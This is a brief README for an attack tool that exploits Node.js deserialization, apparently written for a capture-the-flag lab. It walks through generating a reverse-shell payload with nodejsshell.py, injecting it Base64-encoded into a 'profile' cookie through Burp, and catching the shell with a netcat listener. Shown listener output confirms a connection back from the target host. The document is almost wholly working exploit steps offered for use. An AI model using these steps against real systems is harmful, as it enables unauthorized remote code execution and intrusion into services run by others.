Node.js-deserialization-RCE

Create the serialized payload, Base64-encode it, and inject it into the cookie to trigger remote code execution (RCE).

---

1. Usage:python3 nodejsshell.py 10.10.14.20 9001

2. Use burp to intercept a web request and add our modified cookieCookie: profile=yourbase64-payload

3. Settingsnc -lnvp 9001. One submitting, the page returns errors,but we can get the shell

listening on [any] 9001 ...
connect to [10.10.14.20] from (UNKNOWN) [10.10.10.85] 50768
Connected!